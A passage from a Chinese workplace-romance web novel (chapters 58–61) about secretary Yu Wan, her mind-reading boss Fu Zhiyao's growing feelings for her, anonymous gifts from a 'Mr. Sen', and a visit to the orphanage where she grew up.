周二虞晚休假结束上班,傅知尧特意提前一小时去公司,不紧不慢走在虞晚身后,看她抬手,语声带笑和大厅前台小赵打招呼,步伐轻快地在闸机前刷卡,马尾在身后扬起一个细小的弧度。
前台小赵眼神灵光,看到傅知尧,正要热情开口喊傅总,被傅知尧抬手打断,小赵噤声,捂着嘴巴连连点头,看着傅知尧刷卡跟在虞秘书身后往电梯区那边走。
小赵眼睛骨碌转了一圈也
搞不懂傅总要干嘛,难不成一大早跟在虞秘书身后就是为了突击检查她工作有没有到位?
可现在还没到员工正式上班时间啊,傅总果真恐怖如斯。
第58章
电梯区地板光滑整洁,最里面的电梯是傅知尧的专属电梯,上班时间还没到,此时电梯区空无一人。
虞晚选了距她最近的那部电梯,站在电梯前安静等待,时不时抬手调整一下肩上包带的位置。
普通的黑色单肩包,包里装着她的电脑、笔记本、便签,还有眼贴、消毒纸巾、漱口水等乱七八糟的东西,有需要的时候里面甚至能掏出一卷胶带,简直像个小型百宝箱。
她的脸上没了上周加班的疲惫,看样子,这三天假期她应该休息得很好。
和泽域合作的新闻发布会结束,虞晚回答胡记者的场面不出意外上了热搜,大方得体的表现为傅氏博了一波好感,医疗平台的合作项目也备受业内关注和看重,好些投资机构找上门想要分一杯羹。
公关部这几天都在处理这件事,除了防止舆论朝负面方向发展,也是为了保护虞晚的个人隐私不被泄露。
但网上的风风雨雨似乎并没有影响到虞晚。
不过这很正常,据傅知尧观察,虞晚很少上网娱乐,对手机或其他娱乐设施并不上瘾,唯一玩的解压小游戏就是数独,经常在午休时玩,一局玩到一半就会打哈欠,这时她便会放下手机,将座椅放低些,靠在上面睡觉,折叠的小毯子铺开,盖好,偏头睡得安静恬然。
意识到自己又在想虞晚,傅知尧一怔,心头不由自主开始慌乱。
但慌乱中反倒生出另一种欲盖弥彰的坦然,他冷静下来,理清思绪,他关注虞晚其实很正常。
虞晚是他的秘书,还是女性,他的关注源于他对她的未知——
他听不见她的心声,因而习惯性地观察她的表情,她的动作和神态变化,这些可以帮助他更好地了解她,从而判断她适不适合当自己秘书。
只有深入了解,才能下定论,这是一件再正常不过的事情。
而他已经验证了,虞晚非常适合当他的秘书。
想到这里,盘亘在傅知尧心间的困惑仿若拨云见日,他对虞晚的格外关注不过是因为她是自己秘书,不是他喜欢她,也不是她喜欢他。
抛开这些,两人就是非常正常的上下级关系。
没错。
傅知尧想通一切,激动之处还打了个响指。
声音吸引了前面的虞晚,她转过脸,看见傅知尧,诧异喊出声:“老板?!”
傅知尧脚步蓦地乱了起来,颇为狼狈地四处找寻掩体想要躲避,可周围除了垃圾箱就只有电梯中央的一株天堂鸟绿植,高度甚至不到他肩膀,完全遮不住他。
傅知尧眼眸中惊慌一闪而过,虞晚已经走到他面前,他抬手握拳放在嘴边,视线有些飘忽,强装镇定开口。
“虞秘书。”
“早上好老板,你今天来公司这么早是有事情要处理吗,还是我周六的工作汇报有问题?”
虞晚开口就是工作,似乎并没有察觉到他的异常,傅知尧松口气之余莫名有些憋闷,他迅速恢复冷淡表情,抬了抬下巴示意虞晚跟上他脚步,刷了专用电梯指纹。
虞晚不是第一次借老板的光使用总裁专用电梯。
总裁专用电梯和普通员工电梯没什么太大差别,非要说的话,那就是老板的专用电梯更宽敞,电梯壁上挂着一只香囊,散发着淡淡的香气,看起来十分有格调,听起来更厉害。
电梯缓缓上行,两侧金属厢壁光可鉴人,让他不需要转头就能清楚看见虞晚的表情。
她今天化了妆,妆容并不艳丽,简单的粉底和口红,似乎还去理发店修剪了头发,发尾烫成带有自然弧度的卷发,扎成低马尾,温顺地耷在她轻薄纤细的背上,胸前工牌戴得整齐,上面的照片是她入职时拍的,穿着白色衬衫,发丝全捋到耳后,露出白皙的一张脸,一双大眼睛漆黑明亮,看起来就很好骗。
和如今的她相差有些大,现在的虞晚眼睛里偶尔会流露出一些狡黠灵动的神情,不再死板呆气,拧眉思考时专注认真,整个人气质干净澄澈。
傅知尧可以肯定虞晚不属于一眼惊艳的类型,这点他在初见虞晚时就清楚,但现在,他的目光落在虞晚身上,迟迟无法移开,像是有人谁在虞晚身上安装了吸铁石,牢牢将他注意力把控住。
叮的一声,电梯抵达三十九层,将傅知尧注意力唤回。
在傅知尧走进办公室前,虞晚叫住他,“老板,今天早餐你想吃什么,法棍低温牛肉三明治可以吗?”
傅知尧没有回头。
“可以。”
办公室门无声合上,虞晚松口气。
方才在电梯里,虞晚能感受到老板目光在她身上的停留和观察,心头跟打鼓似的,差点连手脚都不知该往哪里放,而她又不敢光明正大和老板对视,询问老板看自己干什么。
难不成是换新发型被老板看出来了?
虞晚抬手摸了摸自己的卷发,这卷发说来话长,上个月傅知尧让她去考驾照,虞晚报名后一直没时间去学,这几天休假,虞晚连着去了三天,在驾校认识了一位热情洋溢的姐姐。
这位姐姐家里开理发店的,口才相当好,在驾校也没少开拓客户资源,听说她从没摆弄过自己头发,练车那几天没少劝她烫个头,烫发后的改变说得头头是道,驾校里男男女女几乎都去她理发店做过发型,虞晚实在抵抗不住对方的热情,花三百给发尾烫了个梨花卷,姐姐还免费送她了一次柔顺护理。
别说,发型一换,整个人都精神了不少,虞晚早起刷牙看着镜子里的自己,也忍不住臭美地欣赏。
虞晚抬头挺胸,打开办公室大门,开始新一天的工作。
一墙之隔,傅知尧默默收回有些冒犯的偷窥视线,单向可视不是为了在这个时候给他行方便的。
就在傅知尧给自己做完心理辅导,合理化异常行为的次日,傅知尧看到虞晚从楼下前台小赵那边接过一大束鲜艳娇嫩的玫瑰花,深红色花瓣映衬着虞晚的脸庞,显得肌肤格外白皙剔透。
大厅内不少人注意到她怀里的花,皆是一脸艳羡,虞晚则困惑地抱着玫瑰花往电梯方向走。
傅知尧跟在她身后,三两步追上她,同她一起进了空荡的电梯。
电梯门合上,虞晚看到站在她旁边的傅知尧。
“老板?”
傅知尧视线从虞晚手上的精致卡片上扫过,上面只有一句话:祝虞小姐天天开心森先生留
看字迹和署名,不是关彦轩,看花束风格,不是生日那天送白玫瑰和桔梗的男人,那又会是谁?
傅知尧拧眉,对上虞晚的视线,她犹豫片刻,忍不住出声提醒:“老板,你是不是走错电梯了?”
傅知尧不紧不慢收回视线,“节约用电不行?看不出来虞秘书还是个喜欢独霸电梯的人,个人空间感这么强?”
虞晚:“……”
行,那可太行了。
把总裁专用电梯拆了岂不是更省电。
虞晚按了三十九,电梯上行,封闭空间内,玫瑰花的幽香覆盖至傅知尧鼻尖,他眼角余光再次扫向虞晚,怀里的花束快比她人更宽,粗略估计六十多朵,朵朵芬芳馥郁,裹在黑色的包装纸里,尽管俗气,但胜在数量多,视觉冲击力大,不怪那些商家将红玫瑰和爱情挂钩。
不过,傅知尧仍是嗤之以鼻,看起来吸引人而已,追人手段太低级,也不过如此。
虞晚抱着玫瑰,一脸坦然淡定地等待,傅知尧瞄了虞晚好几眼,见虞晚没说话的意思,正要开口,电梯忽然停下,一位抱着厚厚一大摞文件的员工走了进来。
看见傅知尧和虞晚,连忙点头问好:“傅总好,虞秘书好!”
虞晚见她抱着文件不方便按电
梯,主动问她:“你去几层?”
“二十七层,谢谢虞秘书。”
“不客气。”
那位员工连连道谢,视线落在虞晚怀里的玫瑰花上,微微瞪大眼,但比起这个,更让她震惊的是,为什么员工电梯里会刷新大魔王啊!谁能救救她,她要不能呼吸了!
电梯上行过程中时不时有员工脚步匆匆进来。
别说是问虞晚,傅知尧和虞晚一个在电梯左侧一个在电梯右侧,要不是那些员工碍于他总裁的身份保持了点距离,傅知尧恐怕要体验他人生中除了大学时代再次和其他人挤一个电梯的经历。
更让傅知尧上火的是,接下来几天,虞晚每天上午准时收到一大捧不重样的鲜花。
原本傅知尧想以花束太多影响工作的理由叫虞晚进来谈话,问问情况。
但在这之前,虞晚动作迅速地将花拆开,打着行政部福利的口号,往每个部门办公室送了一份,鲜嫩的花枝搁置在透明的玻璃瓶里,冰冷的办公室也变得有生气,让傅知尧连个借口都找不出来
直接叫虞晚进来问是谁送的?
可他是个老板,当着员工面打听员工有没有追求者算什么回事?
这种没边界感的行为是老板会做的吗?
不会,所以他不做。
只是每天刷八卦小群的次数多了些罢了。
虞晚对傅知尧辗转反复的情绪一无所知,周末放假,虞晚约了陆随一起去孤儿院。
周六上午虞晚去了一趟陶艺店,将上色烧制好的四个陶艺作品取回家。
其中两个是寄给廖如萱的。
一个是她画的小熊吃饼干图案的盘子,一个是廖如萱自己画的小熊猫杯子,虞晚用厚实的泡沫包裹好,确保不会在运输途中摔碎,将快递费用账单发给曹助理,又给廖如萱发了一条消息提醒。
另一个小猫玩毛线团图案的盘子,虞晚是要送给傅许安的,同样仔细打包寄出去。
至于她和廖如萱一起捏的杯子,虞晚全涂上米白色,画了些简单彩色的斑点当装饰,在杯子底部写上YW两个字母,杯子实在有些歪,杯把手因为烤制裂开了一些,用来喝水是不太可能了,说不定哪天杯把手断裂就会摔碎,虞晚准备把杯子带到公司,放工位上当笔筒。
傅许安平日里玩手机都是有时间限制的,只有周末写完作业才可以稍微放肆些,外加虞晚工作日要上班,她和傅许安都是周末聊天,再联网打语音玩益智类的小游戏。
这还要多亏老板送她的新手机,换作之前,虞晚的手机早就要罢工。
趁着傅许安周末能玩手机,虞晚发消息告诉她快递已经寄出,顺便询问她傅知尧的喜好,想参考参考给傅知尧选个合适的生日礼物。
第59章
在询问傅许安之前,虞晚其实上网搜索过合适送男性的,高端而不过分昂贵的礼物。
结果光是送礼背后含义就看得她眼花缭乱:
送人领带,是想每天为对方系领带;送人腰带,是想把人栓在裤腰带上;送人剃须刀是想和他生活在一起;送手表是希望对方分分秒秒都想起自己……
虞晚一个头两个大,按照她和老板这上下级关系,基本就没什么可以送老板的了。
随便选一件送吧,虞晚又穷。
比如老板手腕上戴的表,可以做到每周不重样戴一年,赖言栩告诉她,老板的一只腕表可以在海市换套房,最贵的那只可以换江景大平层。
因此,虞晚纠结了一个多星期也不知道要送什么。
将快递发给傅许安,傅许安一连发了好几个可爱表情包表达开心,虞晚将目的说出来。
虞晚:【安安,那个……我能不能问你一件事,你哥哥他喜欢什么?】
安安:【虞晚姐姐问这个干什么?】
虞晚:【你哥哥生日不是在这个月底吗,我想送他一份生日礼物,不过你暂时不要告诉其他人可以吗?】
安安:【好吧好吧,虞晚姐姐,我保密。】
安安:【我哥哥他喜欢工作!】
虞晚:“……”
虞晚:【有没有具体点的,就比如你喜欢吃糖果,喜欢亮晶晶的贴纸和发夹这种。】
安安趴在地毯上,看着手机上虞晚发来的消息,挠了挠脑袋,小腿翘起来在身后摆来摆去,一脸纠结。
她问一旁戴着眼镜处理平板上工作事务的马吟芳:“奶奶,我哥喜欢什么东西?”
马吟芳放下平板,“你问的还是别人问的?”
傅许安说了要替虞晚姐姐保密,便指了指自己,“我想知道的,哥哥生日不是要到了吗?我在思考要送他什么生日礼物。”
马吟芳笑着看傅许安,一脸看透一切的表情:“哦?可是你之前送哥哥的不都是你亲手设计的生日贺卡吗,去年倒是送他了一个上色的石膏娃娃,被哥哥说太丑后气得发誓说明年绝对不会给他送礼物,怎么,这么快就忘记自己去年说的话了?”
傅许安鼓鼓嘴巴,一脸纠结,最后干脆耍起赖皮:“哎呀,奶奶,人都是会变的,我现在是八岁的傅许安,不是七岁的傅许安,我都读小学二年级了!”
马吟芳不再打趣她,“好好好,你哥哥喜欢什么我也不知道,如果你想知道,直接问他不是更好。”
安安撅着嘴,给虞晚回消息。
安安:【虞晚姐姐,我帮不了你,我不知道哥哥喜欢什么,他喜欢钱?不然怎么一直工作赚钱呢,他喜欢看书看报,早晨吃饭的时候他都会看报纸,他还喜欢锻炼,哥哥每天都锻炼,我小时候有年身体不好,他就天天叫我起床跑步,太讨厌了,冬天跑步好冷好冷的,哦,他还喜欢写字,经常对着一张纸写来写去,写完就丢到一边。】
安安:【虞晚姐姐,要不我直接帮你问我哥吧,我保证不告诉他是你想送他礼物,我就说我想送。】
虞晚无奈,老板那么聪明,直接问怎么可能瞒得住。
不过,看着傅许安发来的消息,虞晚倒是知道了送老板什么生日礼物比较合适。
她谢过傅许安,收起手机,公交车上电子播报音响起。
心爱孤儿院到了。
虞晚下车,和陆随在孤儿院门口碰上,两人聊着天一起走进去。
孤儿院还是老样子,红房顶的平层小房子,墙角边是林妈妈种的驱蚊植物,晒得焉哒哒。夏天天气热,孩子们都想待在空调房,尽管林妈妈限定了开空调的时间,但难免有小孩子因为温度变化身体不舒服,让林妈妈不得不取消每天下午吃冰棍,改成喝晾凉的解暑绿豆汤。
虞晚听说这件事,网购了超大的充气泳池,放在院里那棵大槐树下,装上刚没过小腿中部的水,在阳光下晒上一个上午,温度甚至有些烫手,午后太阳西斜,大槐树下就是天然的乘凉处,小朋友们可以随意在泳池里玩耍。
此刻,虞晚和陆随站在屋檐下看小朋友在泳池里玩耍。
年纪稍微小点的孩子被年纪大的孩子拉着,勉强在泳池里站稳,对面一勺水泼过来,眼睛瞬间眯成一条缝隙,在大孩子的指挥下随便用短袖下摆擦了擦,眼睛还没睁开就开始胡乱泼。
各种自带的舀水工具,漱口杯、小水枪、洗脸盘和水勺轮番上阵,将泳池硬生生玩成了小战场。
水珠在阳光下洒落,像一颗颗剔透耀眼的水晶,欢笑声响彻整片前院,让看的人也忍不住唇角上扬。
林妈妈欣慰地笑起来,“还是虞晚你有办法,孩子们许久没这么
开心了。”
这段时间虞晚工作忙,没来孤儿院,好些孩子问她,问虞晚姐姐什么时候来,等虞晚真的来了,这群孩子又一个比一个害羞,谁也不敢上前和虞晚搭话。
虞晚回林妈妈:“我也是在网上看到的,孩子们喜欢就好。”
心爱孤儿院孩子不多,因为规模小,最初是个人资助诞生的收容所,后来才慢慢扩大,孩子一共二十八名,年纪从两岁到十七岁不等,院里常驻人手算上院长副院长以及做饭的田阿姨,也就三人。
虞晚仔细看了看,面露困惑:“林妈妈,怎么没看到林衡。”
那个眼睛黑亮,总是抱着一个小狗玩具,躲在柱子后面偷偷摸摸看她的小男孩。
“你说林衡啊,”林妈妈想起来什么,“你等等。”
她交代一旁的副院长看着孩子,带虞晚和陆随去了自己办公室,“我忘了告诉你,林衡前段时间已经被他亲生母亲接走了,亲子鉴定做了,手续流程齐全,一个没落,我们心爱也不能压着孩子不放,不过我们知道林衡母亲的信息和地址,会定期去做个回访。”
“那林衡……”
林妈妈笑:“我知道你想问什么,林衡,不,现在不应该叫林衡了,他现在和母亲姓,叫孟衡,孟小姐和前夫离婚后才知道她当年生下的孩子没有夭折,是前夫一家看孩子有生理缺陷,残忍抛弃的,孟小姐知道后联系了警局,提交DNA信息,这才找到孟衡,所以啊,你别担心,我看得出来,孟小姐对孟衡很上心,而孟衡,那孩子是在孟小姐来孤儿院十几次后主动拉上对方的手和她离开的,小孩子不懂为什么,但可比我们这些大人更知道谁是那个真正爱他的人。”
虞晚收起担心的表情,由衷地感叹:“真好。”
林妈妈从抽屉里拿出一个有些生锈的饼干盒,递给虞晚:“这是那孩子在后院挖到的,他交给了我,我打开看了,里面有你小时候的两寸证件照,还有一个本子,应该是你的日记本,不过我没看内容,你上回给我过消息没多久这个盒子就被孟衡找到,他也跟着妈妈回家了,我想这大概就是一种缘分吧。”
饼干盒也就巴掌大,虽然被林妈妈洗过,但外壳已经被锈腐蚀到不像样子,隐约能看到拓印的品牌信息,内里东西寥寥。
日记本只比普通便签本大一些,纸张质量不太好,因为潮气入侵,边缘泛黄起皱,那张小小的证件照也跟着褪色。
她看到了小时候的自己,五六岁的模样,穿着深绿色的棉袄扎着枯黄的高马尾,脸蛋瘦得可怜,眼眶通红地看着镜头。
铁盒里除了日记本和证件照,还有一些她收集的糖纸,同样失去颜色,变成如废纸般的垃圾,几根彩色橡胶发圈死死和铁盒底部黏在一起,稍微扯一下,就裂成几段,最下面是一个红色白波点的蝴蝶结。
原来那只小熊上丢失的蝴蝶结在这里。
林妈妈看虞晚看得出神,将手中相册交给陆随,“我把空调打开,你们在我办公室里看,我去看看孩子,晚上留下来一起吃饭,那群孩子很喜欢你们。”
陆随:“好。”
两人坐在实木沙发椅上。
虞晚翻开土黄色日记本封面,内页第一面映入几个大字:yu晚和陆sui随
前面幼稚、歪歪扭扭的字一看就是她写的,后面的拼音sui上划了一横,那个整齐板正的‘随’应该就是陆随写的。
虞晚脸蛋一下躁红,她猛地合上日记本,扭头看向陆随,“你什么都没看到是吧?”
陆随眉目清润,笑着移开眼眸,唇角半弯:“嗯,我什么都没看到。”
虞晚:“……”
她将日记本放进铁盒盖好,拿着相册翻看。
陆随眸光重新落回虞晚身上,“你想知道小时候的事情?”
虞晚没隐瞒,“嗯,好多事情我都不记得了,想回忆一下童年往事。”
虞晚翻到了一张募捐会上的合照。
舞台上的合唱团里没有她,也没有陆随,但另一页,时隔一年的募捐会上,她穿着黄色短袖和黑色短裤,戴着小黄鸭头套在舞台上表演话剧,陆随则是戴着皇冠扮演王子。
她又翻回那页合唱团合照,确认里面没有她,也没有陆随。
她指着合照问陆随,“陆随哥,这里面怎么没有我?”
陆随看了眼合照上方的时间,给出回答:“你五音不全,那位钱院长不让你上台。”
“……那我也可以做口型啊,总比不上台缺人好。”
陆随深深看虞晚一眼,认真解释:“的确可以只张嘴巴不发声,但问题就在这里,上了台,你唱得比谁都大声。”
那时钱院长总爱说虞晚嗓子眼儿里长着个喇叭,没少让虞晚捂着嘴去墙角罚站。
虞晚窘迫不已:“……那这里面为什么没有你?”
陆随愣怔半秒,眼底流露出对往昔的回忆之色,他笑了笑,“你不记得了吗?当时我和你一起躲在柜子里。”
因为虞晚被当时的院长钱妈妈禁止上台,陆随逃了领唱的机会,在表演前从窗户钻进钱院长办公室,拿到钥匙,打开关着虞晚的禁闭室,和她一起躲在柜子里。
小礼堂里童声悠扬,柜子里虞晚唱着五音不全的歌。
虞晚安静翻看着相册,一本相册看完,陆随忽然问了她一个问题:“虞晚,你想找回你的亲生母亲吗?”
虞晚偏头看向他,心里觉得奇怪。
为什么是亲生母亲,一般人不该是问想不想找到亲生父母吗,而且,陆随怎么会和廖如萱问出一样的问题。
廖如萱就算了,她妈妈去世早,会问她这种问题情有可原,但陆随和她一样是被抛弃的,应该更能懂被抛弃的滋味,除非……
“陆随哥,你现在的家人对你不好吗?”虞晚问。
陆随一时有些恍神,他眼睫轻轻颤了颤,空调凉风侵袭笼罩,指尖失温到有些发白,虞晚目光落在他身上,像是被太阳晒得绵软蓬松的云朵,彷佛只要他说不好,她就会拉住他的手,像小时候一样,将他从柜子里拉出来,乐此不疲地推着他坐秋千,一遍又一遍地问他高不高。
陆随控制着表情,调动起唇部肌肉,露出一个对着镜子调整过无数次的完美微笑表情。
他轻轻弹了下虞晚的额头,语气故作夸张:“想什么呢?要是对我不好,我会有属于自己的车吗,告诉你吧,那辆雷克萨斯要二十多万,贵吧!”
虞晚没有笑,静静看着他,眼眸澄澈,有种看透一切的平静和悲悯,对上这样的视线,陆随感到一股狼狈到想要逃离的心痛。
然而最终,虞晚什么都没说,她合上相册,“陆随哥,人都是很贪心的,想要钱,也想要爱。”
“所以,千万不要觉得已经有钱就很知足这种话,我们要贪心点,就像是过生日许愿,这也要,那也要,全部都要!”
第60章
傅知尧生日那天是周三,工作日的生日和平日没什么区别,傅知尧照常准点来公司处理工作,但孙柠那边和老板有关的快递多了一大堆,基本都是合作过的公司或客户寄来的礼盒。
虞晚负责将快递拆开,分类礼盒并标记好日期和物品信息,同时将送礼的客户名单登记,方便下次回礼。
这些事情虞晚做起来驾轻就熟,做完,忙忙碌碌和蔡秘书将礼盒搬进储藏室。
蔡秘书擦了擦额头上的汗:“虞晚,储藏室被你收拾过吗?怎么和我之前进去的时候不一样。”
虞晚点头:“也不算收拾吧,每次进去的时候就会顺手将一些东西整理整理,加上我早上来公司比较早,有多余的时间就会收拾收拾。”
蔡秘书朝她比划了一个大拇指:“太厉害了,你这精力,我掐指一算,要不了一年就能和林特助……,哦不,就能和林总一样功成名就。”
蔡秘书说着,还伸手神叨叨地做着掐手指的动作,虞晚被他逗得哈哈大笑,冷不丁对上门外逆光站着的傅知尧,米棕色双排扣竖条纹西装,金色领带夹别着同色系的领带,宽肩长腿,资本家气息十足地朝两人扫了一眼,“聊什么呢,说来我听听。”
虞晚笑容僵在脸上,她从傅知尧的话里听出了‘工作时间嘻嘻哈哈,扣工资’的警告,条件反射直起脊背,干脆利落道歉:“对不起老板,我们已经收拾好了,马上去工作。”
说着,锁好储藏室的门,和蔡秘书一起回到办公室,留下傅知尧站在原地拧眉沉思。
都知道那些礼盒是合作商送来给他祝贺生日的,难道不知道和他说一声生日快乐?
还是说生怕要花钱给他送礼物?
呵,前两天发工资不是拿奖金
了吗,此外,他特意走私人账户给她发了一笔奖金,怎么还是这么扣。
虞晚脚步匆匆回到办公室,手机上,孙柠发来消息,简单两个字。
孙柠:【晚,花。】
虞晚头疼,这位森先生已经连续给她送了将近两周的花,这周更是不得了,除了花束,还有外包装印着奢侈品logo的快递箱,里面装着的,要么是项链耳环这类首饰,要么就是口红、眼影等美妆用品,不是单一色号,而是系列全部色号,快递箱都巨大无比一个。
翻看她和孙柠的聊天记录,除了日常聊天和购物链接分享,就是和森先生送的东西有关。
孙柠的语言逐渐从激动变为麻木。
孙柠:【虞晚!又有你的花,今天是白色芍药!】
孙柠:【虞晚,你的花!今天是苹果杰克!】
孙柠:【虞晚!花!粉洋桔梗!】
……
到最后就是简单两个字。
晚,花。
虞晚起身去孙柠那边,主要不是为了处理花,主要是为了处理快递送来的东西,虞晚认真查看快递信息,今日送来的是昂贵的LV手提包,赖言栩对奢侈品了解颇多,这款包不配货也要二十一万,这问题就大了。
午休时间,茶水间内只有捧着奶茶的三人。
虞晚低头吸了一口Q弹的珍珠,嚼吧嚼吧,在孙柠和赖言栩如炬的目光中,咀嚼的动作放慢,咕叽一口吞下去。
旋即端正态度,一脸认真。
虞晚:“听着呢,你们说。”
孙柠和赖言栩收回眼神,孙柠最先开口:“算上上周的四束花,这已经是你收到的第七束花,工作日每天定时定点送到公司,每次花束不重样,如果你不认识这位森先生,他送花的意义在哪里呢?”
赖言栩摸着下巴,思索起来:“从我们已知的信息可以得知,目前一共有三位给鱼丸送花的男性。”
“第一位,就是生日当天只留下一张卡片祝福的男人,从字体可以看出,对方大概率是个严肃古板的人,不署名,说明是我们公司内部的人,一旦署名,就将在公司内部掀起滔天波浪,给你们双方造成困扰,又或者是单纯的胆小,所以不敢留名,Pass!”
“第二位,这个鱼丸你提过,是你童年的玩伴,知道你生日,所以给你送花,合理,但有猫腻,纳入重点观察范围。”
“第三位,也就是这位森先生,霸总气息十足的男性,鲜红的玫瑰花,俗气,白色芍药,清冷,苹果杰克,甜美,黄色月季,热烈,每天花束不重样,但一看就没用心,估计只出钱让花店看着搭配,有钱是有钱,但咱不能只看中有钱,Pass!”
而且这位森先生现在还不满足于送花,奢侈品礼物一样接一样,却不执着于露面刷脸,诈骗嫌疑极大。
虞晚:“……”
孙柠点头:“所以,虞晚你前两天说给花店打电话,问出是谁了吗?”
她可以查看公司内部考勤记录,帮虞晚找过一次,公司里名字和‘森’有关的寥寥无几,就算有,也和虞晚扯不上什么关系,完全没有头绪。
虞晚摇头。
“我给花店打电话,对方说平台是匿名下单,无法提供客户信息,我给那些奢侈品店铺工作人员打电话话,询问能不能直接退回,对方说除非质量问题,离柜不能退货。”
因此,虞晚到现在都没搞清楚这位送花的森先生是谁,除了性别为男这个信息,她一无所知。
不过她不打算为这个送花的神秘人困扰。
他送她就收,花束放着会腐烂,她便拆开麻烦孙柠分给各个办公室,当作装饰品,而那些奢侈品礼物,虞晚拆都不拆,找箱子装好,和店员打电话的录音她同样保留上传云端。
这样,就算事后那位森先生找上门要求赔偿她也不至于处于被动地位。
孙柠听了愤愤,不解气地呸了声:“靠,该死的奢侈品,价格贵,质量差,服务差,售后都这么霸道。”
虞晚正要开口劝孙柠消消气,就看到孙柠面上表情一转,谨慎地朝四周打量一圈,确认没人,压低声音,八卦兮兮地问她:“鱼丸,你说,那束写着生日快乐的花,有没有可能是大老板送你的!就是傅总!傅总喜欢你!”
孙柠虽然尽力压低声音,但仍旧难掩激动,虞晚听清她说的是什么后差点呛到自己。
脑子里只有一个想法:怎么可能!
孙柠越想越觉得这种可能性高。
贺卡上虽然只有生日快乐四个字,但写得大气磅礴,和傅总的字迹很像,也十分符合傅总气场。
另外,虞晚是傅总秘书,两人在工作和生活中交集颇多,这种情况下,喜欢上虞晚不是很正常的事情。
就拿她自己举例。
她作为前台,就坐在行政区入口那块的工位,对虞晚每天上班的状况不说了如指掌,起码也有个大概印象,能将上班这件事干得激情满满,每日提前一小时抵达公司,见谁都笑盈盈打招呼,是孙柠这个被职场抽打过两年的社畜相当羡慕的一点。
因此借着签收快递的名义,主动和虞晚聊天,和她成为朋友。
相处后,发现虞晚简单得过分,不搞职场勾心斗角那一套,不在背后嚼人舌根,八卦话题点到为止,不随意评判人,工作专心负责,对她的好都记在心上,不会以一种理所当然地心态享受。
可以说,她和毛新灵从不熟悉到熟悉,能友好和谐相处,很大程度上是因为虞晚好。
彼此都不希望对方的朋友难做。
而傅总,一个二十八岁,过了今天就二十九岁,从没谈过恋爱的黄金单身汉,总裁办先前甚至从不招女秘书,就是怕被传绯闻,对公司影响不好,可忽然的,虞晚进了总裁办,比同批实习生提前转正,进公司半年多,职称没变,但职级上提了两个档,初级主管这个头衔是虞晚一点点给自己争取来的,是实打实做出的成绩而非傅总开后门,公司里没任何人可以非议和质疑。
这足以传达傅总对虞晚的看重:喜欢一个人,就给她提前转正,喜欢一个人,就给她涨工资,喜欢一个人,就给她资源和项目,让她试炼和成长!
虽说傅总素有大魔王之称,脾气爆了点,嘴巴毒了点,为人冷漠高傲了点,但人帅腿长还多金,最重要的是傅总洁身自好,新闻里压根儿搜不到他的花边新闻,堪称豪门世家里的清流。
公司里多少人押宝傅总喜欢的类型,可惜硬是探查不到一丁点信息,还有因为傅总不近女色被传是个gay的绯闻。
虞晚听得头痛,连连摆手否认:“不可能,绝对不可能。”
身价上百亿的霸总喜欢她这个小秘书?简直是天方夜谭。
赖言栩看着虞晚,像是忽然找到什么逻辑漏洞,直白反问:“那虞晚你呢,你喜欢傅总吗?”
赖言栩问这个可不是瞎问,傅总出差的那一个星期,虞晚要死不活拎着包包来上班的样子全被她和孙柠看在眼底。
孙柠还点评道:“终于有了我当年上班的风采。”
上班嘛,哪个人能
不发疯。
原本赖言栩以为是虞晚那段时间工作压力大,毕竟一个人负责合作项目,她和孙柠也帮不上什么忙,但傅总回公司后,虞晚就和打了鸡血一样,整个人状态回春,用容光焕发来形容也不为过,即便每日跑外勤,仍旧热情洋溢。
对比之明显,很难让人不多想。
虞晚心口一颤,大脑一时空白得没有任何思绪,在赖言栩和孙柠期待的眼神中眨了眨眼,干巴巴地开口,打断两人遐想。
“拜托,老板有未婚妻,我也不能喜欢他呀。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
60-70
第61章
尽管她知道郁瑾潼已经和傅知尧解除婚约,两位不是未婚夫妻关系,但两位当事人没有公开澄清,虞晚不可能上赶着替两人解释。
虞晚不着痕迹带过话题:“而且,上回是哪两个女人信誓旦旦告诉我,说在公司里谈恋爱就是太监和宫女搞对食。”
孙柠想起那位明艳大美人,敲了下自己脑袋,连忙道:“哦对,我们忘了,傅总有未婚妻的,不行不行,我们不能干这种缺德事,鱼丸,刚刚的话当我们没说,不过,我还是想要强调一点。”
虞晚摆出倾听的姿势。
孙柠举起手指,煞有介事:“大老板是谁?大老板会是太监吗?大老板是皇帝!执掌生死大权的皇帝!”
虞晚:“……”
虞晚敷衍应和,“对对对,那我就是已经自宫了的御史。”
她可还记得上回孙柠说她是御史的比喻。
不过,孙柠说得不太准确,她就算是御史,可她敢参傅知尧一本吗?傅知尧咳嗽一声她都要担心是不是自己水倒得太烫。
两人哈哈笑起来,话题就这么带过。
赖言栩将一旁藤编零食篮里的能量棒拿起来,装模作样递到虞晚面前:“虞秘书,代表我们公司同事对你进行一个采访,公司好多人都在好奇,想要从你这里学习学习,请问有没有同大Boss相处的生存之道可以分享一下?”
孙柠亦是一脸期待地看着虞晚。
她不求多的,只想知道,怎么在和大魔王说话时保持冷静,之前虞晚出外勤,她帮忙给傅总送早餐,每次敲门前还要反复在心底给自己加油打气,做足心理准备才敢敲门。
见两人没再关注她是否喜欢傅知尧这个话题,虞晚松口气,咳了几声,一本正经对着‘话筒’回答:“打工人的自我修养。”
“老板就是老板,老板的命令必须执行到位,老板就是老板,是给你发工资的老板,老板问什么就答什么,做错事立刻道歉,不要反驳,反驳没有任何好处……”
茶水间内三人还在聊。
门外,傅知尧喉咙干涩发紧,心脏又开始不舒服,这回明确地传达出抽痛感,丝丝缕缕,如有实质的带刺藤蔓不断收拢挤压着心脏,将傅知尧想要逃离的双腿定在原地。
他明白自己不该在门外,但捕捉到和虞晚有关的心声,还是会忍不住停下脚步。
茶水间内,三人还在笑嘻嘻讨论如何当好打工人,傅知尧没有再听,沉默地转身离开,回到自己办公室,脊背僵硬地靠在冰冷的金属门上,氧气一点点往胸腔内钻,他花了将近五分钟时间平复紊乱的呼吸,情绪从不知所措中抽离。
他现在可以确定,他对虞晚的关注超过了老板对员工的关注。
否则怎么会凝神去听虞晚是否喜欢他这个问题的回答,他想要得到什么样的答案呢?
他不知道。
但在听到虞晚说不喜欢,他就像是一个被针戳破的气球,堪堪维持表面的完整,其余身体每一处的血液都在闹哄哄地往脑袋聚集,满脑子都是那句‘不喜欢’,让他几乎丧失正常思考的能力。
这种情绪是陌然的,也是不正常的。
傅知尧直起身,走到办公桌前,打开电脑登录公司内部系统,一一浏览适合虞晚的岗位,他在考虑,要不要将虞晚调去其他部门工作。
